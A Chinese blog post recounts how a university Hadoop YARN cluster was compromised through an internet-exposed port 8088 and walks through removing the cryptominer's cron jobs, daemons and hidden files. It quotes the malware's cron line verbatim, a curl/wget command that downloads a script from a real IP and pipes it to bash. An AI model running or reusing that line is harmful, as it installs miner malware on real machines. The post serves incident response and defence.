yarn集群8088端口被攻击挖矿

几天前学弟说我们的集群被攻击了,集群网速变得特别慢,而且CPU占用全都100%,不用说,肯定是被挖矿了。
之前也发生了次挖矿,然而跟集群没有关系,所以很容易的就被清除了,这次跟hadoop集群有关,不止是CPU全占满了,打开yarn管理页面master:8088,yarn还一直在执行dr.who的奇怪任务,症状如图(没截到图,转载的)

图1. 集群被攻击下载挖矿程序

百度了下发现很多人都被酱紫黑过,据说是利用yarn集群的漏洞不断地向8088端口提交get shell下载脚本,然后不断执行让集群中的其他机器中招。
看了下路由器的日志,如下:


图2. 路由器日志

原来一直有其他ip在试图入侵8088、7989等一系列的端口。在这种情况下,需要先断掉了外网网线,然后把受感染的slave清除掉。

1. 断了网线后,观察某一台slave,在slave中输入:

top
图3. slave被挖矿表现

CPU占用达到2502%,程序名r1x(有多个),百度发现有些伪装名字成java的,有些伪装成bash,bash64的等等,而且一般都有守护进程和定时任务,直接用kill结束进程会马上启动新进程。
于是先看看定时任务:

crontab -l
图4. 查看定时任务

好吧,这个东西在偷偷下载挖矿脚本啊!一般这种情况下用crontab -r指令是清除不干净的,需要从根源上删除。

cd /var/spool/cron
ls

有个crontabs文件夹和root文件,一般挖矿的定时脚本就在root(用户名)文件内,有可能在/var/spool/cron/var/spool/cron/crontabs路径内(我都中过,这叫病毒的多样性),解决方法很简单,直接把cron文件内的文件删除就行。

图5. 删除定时任务

注意1:

当然了,比较强悍的程序会一直在/var/spool/cron/var/spool/cron/crontabs这两个路径内重新复写root文件,这就导致你无法删除这个定时任务,这样你既无法删除定时任务也没法结束进程,陷入一个死循环。同样,编辑root文件直接把这curl的挖矿语句删除也不行,照样被覆盖。于是就有了这神奇的解决方法:
把这句挖矿语句:

  */30 * * * *  (curl -s http://37.44.212.223/xdd.sh||wget -q -O - http://37.44.212.223/xdd.sh)|bash -sh

改成:

l s http://37.44.212.223/xdd.sh||t -q - -http://37.44.212.223/xdd.sh)|b -h

没错,就是把他的定时脚本改残就行!守护进程应该是检测xdd.sh或矿池地址的,并不能检测脚本能不能运行~
这个时候,只要把所有守护进程结束了,由于定时脚本有语法错误不能执行,把守护进程文件删了就不会再下载,然后清理干净最后再清除定时脚本就可以了!来句rm -rf /var/spool/cron

注意2:

发现只清理/var/spool/cron还是不行,还是有定时任务残留,检查/etc/cron.d下的root文件

cd /etc/cron.d
ls
图6. 定时任务残留

果然是还有残留,果断将其rm -rf root
为了防止还有其他定时任务残留,检查/etc目录下的所有cron文件和文件夹,看看还有没有挖矿定时任务,包括cron.d, cron.daily, cron.hourly, cron.monthly, crontab等等

图7. 其他可能的定时任务残留

接着观察守护进程,看来只要断网了就不挖矿了啊,一般来说守护进程会有多个,需要逐一清理。

图8. 守护进程

观察到PID是15893,输入:

ps -ef | grep 15893
图8. 守护进程路径

看来这进程路径藏在/var/tmp里,也有在/tmp或者是/root/.tmp00/root/.tmp00的,建议读者都查一遍,一般都是隐藏文件,所以ll指令来查看:

图9. 进程文件

有好几个文件,先用kill -9指令讲所有守护进程结束了,然后把这些文件全都删掉,注意一定要断网操作,这些路径一个都不要放过/var/tmp/tmp/root/.tmp00/root/..tmp00
然后检查系统启动文件/etc/rc.local等有没有挖矿启动代码,有的就删掉,这样,一台slave的挖矿病毒基本上就解决了。

2. 清除其他所有slave及master的挖矿程序,步骤同1

3. 端口处理

因为一直以为8088端口是内网端口,就猜想肯定有没解决的问题。不外乎如下:
(1)hadoop被修改
(2)存在其他进程与外网通信来进行任务提交
知道是8088端口的问题,首先想到把8088端口改到其他端口,修改主机的/hadoop/etc/hadoop中的yarn-site.html文件,把端口改成23456

 <property>
        <name>yarn.resourcemanager.webapp.address</name>
        <value>master:23456</value>
</property>

然后检查该文件夹中所有其他的文件-env.sh是否有被修改的痕迹,有的话改回来,文献1里就遇到了,我倒没有,因此并非第一种情况。
对于第二种情况,这些隐藏的进程要肯定会提交任务到8088端口,所以理论上写个简单的服务器程序监听8088端口就可以。于是网上扣了个代码试试,等了15分钟左右,果然来了,但竟然是个美国的IP:144.217.129.215,这就奇怪了,外网IP是怎么能访问我们的内网端口8088呢?
于是又写了个客户端,并且用4g网测试了,竟然连上了!好吧,原来8088是个外网端口,之前老师可能没说清楚,这下清楚整个攻击流程了……

图10. 外网测试访问8088端口

4. 入侵流程

(1)外网利用yarn的8088端口向集群提交get shell任务
(2)下载的脚本被传送至各slave
(3)各slave执行脚本,启动守护进程挖矿,并添加定时任务,下载更多脚本
(4)高级的可能会修改hadoop运行环境,或添加系统启动脚本

5.解决方案小结

(1)断外网,禁止外部访问8088端口,并修改8088端口为其他端口
(2)有需要可以断内网,防止内部扩散
(3)修改或删除定时任务
(4)查找守护进程路径,结束所有守护进程并将其删除
(5)检查其他可能的路径,hadoop运行环境以及启动文件

6.tips

如果发现还是没有清理干净,记得检查所有跟cronanacroncrontab相关的文件!

后记:

啰啰嗦嗦地写了个日志,不折腾啦!前两天预答辩还被导师批评说太啰嗦,明天好好修改PPT,迎接个把礼拜后的硕士答辩!没错!博主我要毕业啦哈哈哈哈!

参考文献:

  1. https://www.jianshu.com/p/7365f0f12941
  2. https://blog.csdn.net/qq392039757/article/details/80197666
  3. https://www.cnblogs.com/daxiangfei/p/9198856.html
  4. ……还有很多,偷懒不写鸟……
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。